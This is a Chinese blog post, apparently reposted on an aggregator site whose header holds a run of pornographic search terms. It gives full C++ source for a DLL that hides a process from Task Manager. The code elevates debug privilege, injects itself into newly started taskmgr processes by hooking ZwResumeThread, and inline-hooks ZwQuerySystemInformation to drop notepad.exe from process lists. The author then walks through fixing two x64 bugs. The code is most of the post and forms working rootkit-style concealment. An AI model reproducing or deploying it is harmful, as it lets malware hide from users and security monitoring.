日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

X64下进程隐藏实现与Debug

發(fā)布時間:2023/12/18 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 X64下进程隐藏实现与Debug 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

之前寫過幾篇進程隱藏的技術(shù)貼,但是在X64下代碼沒有成功,昨晚深入調(diào)試了一會兒發(fā)現(xiàn)了問題所在,這里詳細探討下

先貼上完整的Hide.dll的cpp代碼:

#include "Hide.h" #define SystemProcessInformation 5 #define STATUS_SUCCESS (0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH (0xC0000004L)//*****************************************************↓↓↓常量定義↓↓↓************************************************************ BYTE ZwQuerySystemInformation_origin_byte[5] = { 0, }; BYTE ZwResumeThread_origin_byte[5] = { 0, }; LPCTSTR Dll_Path = L"d:hack.dll"; wchar_t const *Hide_Process = L"notepad.exe"; WCHAR Goal_Name[1][100] = { L"taskmgr" }; WCHAR filename[MAX_PATH]; static DWORD prepid = 0;//*****************************************************↓↓↓函數(shù)實現(xiàn)↓↓↓************************************************************ BOOL Whether_Hide_Goal(const WCHAR *processname) {const WCHAR *ori = processname;for (int i = 0; i<1; i++) {processname = ori;while (*processname != '\0') {WCHAR *s = Goal_Name[i];while (*processname != *s && *processname != (*s) - 32 && *processname != '\0') {processname++;}while (*processname != '\0' && (*processname == *s || *processname == (*s) - 32)) {processname++;s++;}if (*s == '\0') {return true;}}}return false; }BOOL IsNt6Plus() { //判斷內(nèi)核版本是否為NT6+OSVERSIONINFO osvi;ZeroMemory(&osvi, sizeof(osvi));osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&osvi);if (osvi.dwMajorVersion == 6 || osvi.dwMajorVersion == 10) //vista.7.8 = 6 10=10return true;return false; }BOOL MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf) {HANDLE hThread = NULL;FARPROC pfunc = NULL;if (IsNt6Plus()) {pfunc = (GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx"));if (pfunc == NULL) return false;((PFNTCREATETHREADEX)pfunc)(&hThread, 0x1FFFFF, NULL, hProcess, pThreadProc, pRemoteBuf, FALSE, NULL, NULL, NULL, NULL);if (hThread == NULL) return false;}else {hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);if (hThread == NULL) return false;}if (WAIT_FAILED == WaitForSingleObject(hThread, INFINITE)) return false;return true; }void InjectDll(DWORD pid = 0) {if (pid == 0) return;EnableDebugPrivilege(); //權(quán)限提升HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (!hProcess) return;LPVOID pRemoteBuf = NULL;DWORD BufSize = (DWORD)(wcslen(Dll_Path) + 1) * sizeof(TCHAR);//+1:\0pRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)Dll_Path, BufSize, NULL);LPTHREAD_START_ROUTINE pThreadProc;HMODULE Kernel32_Handle = GetModuleHandle(L"kernel32.dll");pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle, "LoadLibraryW");MyCreateRemoteThread(hProcess, pThreadProc, pRemoteBuf);CloseHandle(hProcess);hProcess = NULL; } BOOL EnableDebugPrivilege() {HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);hToken = NULL;}return fOk; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {switch (fdwReason){case DLL_PROCESS_ATTACH:GetModuleFileName(NULL, filename, MAX_PATH);if (Whether_Hide_Goal(filename)) { //如果是我們想對其隱藏的進程則對ZwQuerySystemInformation掛鉤hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);}else { //否則一定是explorer則對ZwResumeThread掛鉤hook("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, ZwResumeThread_origin_byte);}break;case DLL_PROCESS_DETACH:unhook("ntdll.dll", "ZwQuerySystemInformation", ZwQuerySystemInformation_origin_byte);unhook("ntdll.dll", "ZwResumeThread", ZwResumeThread_origin_byte);break;}return TRUE; }BOOL hook(LPCSTR DllName, LPCSTR FuncName, PROC Func_New, PBYTE origin_byte) {FARPROC p_ori_func;PBYTE pbyte;DWORD oldprotect;DWORD address;byte newbuf[5] = { (char)233,0, };p_ori_func = (FARPROC)GetProcAddress(GetModuleHandleA(DllName), FuncName); //獲取原函數(shù)地址pbyte = (PBYTE)p_ori_func;if (pbyte[0] == 0xE9) return false;VirtualProtect((LPVOID)p_ori_func,5, PAGE_EXECUTE_READWRITE, &oldprotect); //修改5字節(jié)屬性為可寫memcpy(origin_byte, p_ori_func,5); //保存原函數(shù)前5字節(jié)指令address = (DWORD)Func_New - (DWORD)p_ori_func - 5; //計算跳轉(zhuǎn)到NewZwQuerySystemInformation函數(shù)需要的jmp地址memcpy(&newbuf[1], &address,4); //將計算出的地址寫入newbufmemcpy(p_ori_func, newbuf,5); //原函數(shù)處寫入jmp xxx實現(xiàn)HookVirtualProtect((LPVOID)p_ori_func,5, oldprotect, &oldprotect); //恢復(fù)剛剛調(diào)整過的屬性return true; }BOOL unhook(LPCSTR DllName, LPCSTR FuncName, PBYTE origin_byte) {FARPROC pfunc;PBYTE pbyte;DWORD oldprotect;pfunc = (FARPROC)GetProcAddress(GetModuleHandleA(DllName), FuncName); //獲取原函數(shù)地址pbyte = (PBYTE)pfunc;if (pbyte[0] != 0xE9) return false;VirtualProtect((LPVOID)pfunc, 5, PAGE_EXECUTE_READWRITE, &oldprotect); //修改5字節(jié)屬性為可寫memcpy(pfunc, origin_byte, 5); //原函數(shù)前5字節(jié)恢復(fù)VirtualProtect((LPVOID)pfunc, 5, oldprotect, &oldprotect); //恢復(fù)剛剛調(diào)整過的屬性return true; }NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {NTSTATUS status;FARPROC pfunc;PSYSTEM_PROCESS_INFORMATION pcur = NULL;PSYSTEM_PROCESS_INFORMATION pprev = NULL;unhook("ntdll.dll", "ZwQuerySystemInformation", ZwQuerySystemInformation_origin_byte); //解除Hook ZwQuerySystemInformation 防止無限循環(huán)pfunc = (FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "ZwQuerySystemInformation"); //動態(tài)獲取原函數(shù)地址status = ((PFZWQUERYSYSTEMINFORMATION)pfunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); //按照原始參數(shù)順序調(diào)用原函數(shù)if (status != STATUS_SUCCESS) { //判斷調(diào)用是否成功不可以的話就斷Hook 返回錯誤statusif (status == STATUS_INFO_LENGTH_MISMATCH) hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);return status;}if (SystemInformationClass == SystemProcessInformation) { //只有SystemInformationClass=5(查詢進程列表)是才進行應(yīng)用隱藏操作pcur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; //當前指針指向返回的SystemInformation結(jié)構(gòu)體while (TRUE) {if (pcur->ProcessName.Buffer) { //此結(jié)構(gòu)體ProcessName成員的Buffer成員存在則進入if (!wcscmp(pcur->ProcessName.Buffer, Hide_Process)) { //比較此結(jié)構(gòu)體進程名是否為需要隱藏的進程名,是則進行鏈表下鏈操作if (pcur->NextEntryOffset == 0)pprev->NextEntryOffset = 0;elseif (pprev) {pprev->NextEntryOffset += pcur->NextEntryOffset;}else {SystemInformation=(PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur->NextEntryOffset);}}elsepprev = pcur; //非需要隱藏的進程則當前指針和前向指針分別后移一個}if (pcur->NextEntryOffset == 0) //沒有下一個了就退出break;pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur + pcur->NextEntryOffset);}}hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte); //處理完成,再次Hookreturn status; //返回status } NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle, PULONG SuspendCount) {DWORD pid = GetProcessIdOfThread(ThreadHandle); //獲取新線程的進程PIDif (pid != GetCurrentProcessId() && pid != prepid) {PROCESSENTRY32 pe;pe.dwSize = sizeof(pe);HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);if (INVALID_HANDLE_VALUE != hSnapShot) {BOOL bprocess = Process32First(hSnapShot, &pe);while (bprocess) {if (pe.th32ProcessID == pid && Whether_Hide_Goal(pe.szExeFile)) { //遍歷進程列表如果新創(chuàng)建的進程的名字是要隱藏的目標的話就InjectDllprepid = pid;InjectDll(pid); //DLL注入break;}bprocess = Process32Next(hSnapShot, &pe);}}CloseHandle(hSnapShot);hSnapShot = NULL;}unhook("ntdll.dll", "ZwResumeThread", ZwResumeThread_origin_byte); //防止死循環(huán)FARPROC pfn = (FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "ZwResumeThread"); //動態(tài)獲取原函數(shù)地址NTSTATUS status = ((PFZWRESUMETHREAD)pfn)(ThreadHandle, SuspendCount);hook("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, ZwResumeThread_origin_byte); //再次Hook住return status; }

仔細看可以發(fā)現(xiàn),主要有兩處修改,均在NewZwQuerySystemInformation函數(shù)內(nèi)部
修改一原先的代碼:

unhook(); ........ if (status != STATUS_SUCCESS) {return status; }

修改后的代碼:

unhook(); ........ if (status != STATUS_SUCCESS) {if (status == STATUS_INFO_LENGTH_MISMATCH)hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);return status;}

為什么要這么修改呢,調(diào)試分析X64下的CreateToolhelp32SnapShot可以發(fā)現(xiàn)
這里用紅圈畫出的這個CALL為一個關(guān)鍵CALL,這個CALL內(nèi)部調(diào)用了ZwQuerySystemInformation這個函數(shù),也就是我們HOOK的函數(shù)

內(nèi)部調(diào)用的ZwQuerySystemInformation這個函數(shù)在X64下名字是RtlGetNativeSystemInformation

單步步入之后發(fā)現(xiàn)確實HOOK成功了,跳轉(zhuǎn)到我們的新函數(shù)NewZwQuerySystemInformation函數(shù),但是繼續(xù)跟進調(diào)試我們自己實現(xiàn)的NewZwQuerySystemInformation的時候發(fā)現(xiàn),unhook之后調(diào)用RtlGetNativeSystemInformation函數(shù)后返回了錯誤代碼C0000004。

查詢后發(fā)現(xiàn)是傳遞參數(shù)的時候出現(xiàn)了大小不夠的情況,但是很奇怪,我們的大小參數(shù)都是照搬了他原始的啊,既然我們的出錯了,他們的也一定出錯了,經(jīng)過調(diào)試分析發(fā)現(xiàn)確實如此,而且看上面CreateToolhelp32SnapShot函數(shù)內(nèi)部調(diào)用RtlGetNativeSystemInformation函數(shù)的附近確實有對C0000004錯誤的處理代碼,也就是說,這個錯誤發(fā)生后他會加大參數(shù)大小然后再次調(diào)用這個函數(shù),這次就成功運行了,問題就在這個第二次調(diào)用上,我們發(fā)現(xiàn)有錯誤后就直接返回NT_STATUS,而沒有再次Hook住這個RtlGetNativeSystemInformation函數(shù),導(dǎo)致第二次調(diào)用的時候會出現(xiàn)失效問題,所以判斷如果是STATUS_INFO_LENGTH_MISMATCH這個錯誤那么返回錯誤碼后CreateToolhelp32SnapShot修正大小之后一定會再次調(diào)用RtlGetNativeSystemInformation函數(shù),所以需要再次給函數(shù)hook住。

修改二原先的代碼:

if (pcur->NextEntryOffset == 0)break;pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcur + pcur->NextEntryOffset);

修改后:

if (pcur->NextEntryOffset == 0)break;pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur + pcur->NextEntryOffset);

在遍歷RtlGetNativeSystemInformation填充的SystemInformation結(jié)構(gòu)體的時候需要循環(huán)遍歷每個進程信息只對需要隱藏的進程進行隱藏(notepad.exe),但是pcur是64位指針類型,把它強制轉(zhuǎn)換成ULONG會造成地址高位信息丟失問題,這個屬于x32到x64的細節(jié)問題

總結(jié):
這次連分析CreateToolhelp32SnapShot加調(diào)試分析修改bug共用了2個多小時吧,習(xí)慣了x32的調(diào)試分析想搞x64確實有些手生,最大的問題就是參數(shù)傳遞的問題,x32里習(xí)慣了看一眼站窗口就知道函數(shù)調(diào)用參數(shù)了,但是x64中要從rcx,rdx,r8,r9這些寄存器中找參數(shù),不過這個習(xí)慣了之后應(yīng)該也會很快。
這兩處修改最花時間的是第二處,確實指針截斷實在是太不起眼了,一個是ADD RAX,RBX.一個是ADD EAX,EBX確實區(qū)別不大,不過看了當注意到這個的時候就瞬間想到了是類型轉(zhuǎn)換的問題,修改后終于搞定了這個X64下的進程隱藏問題,激動的我差點叫出來…..不過當時已經(jīng)2點了,估計叫出來室友想殺我的心都有了.2333…

總結(jié)

以上是生活随笔為你收集整理的X64下进程隐藏实现与Debug的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。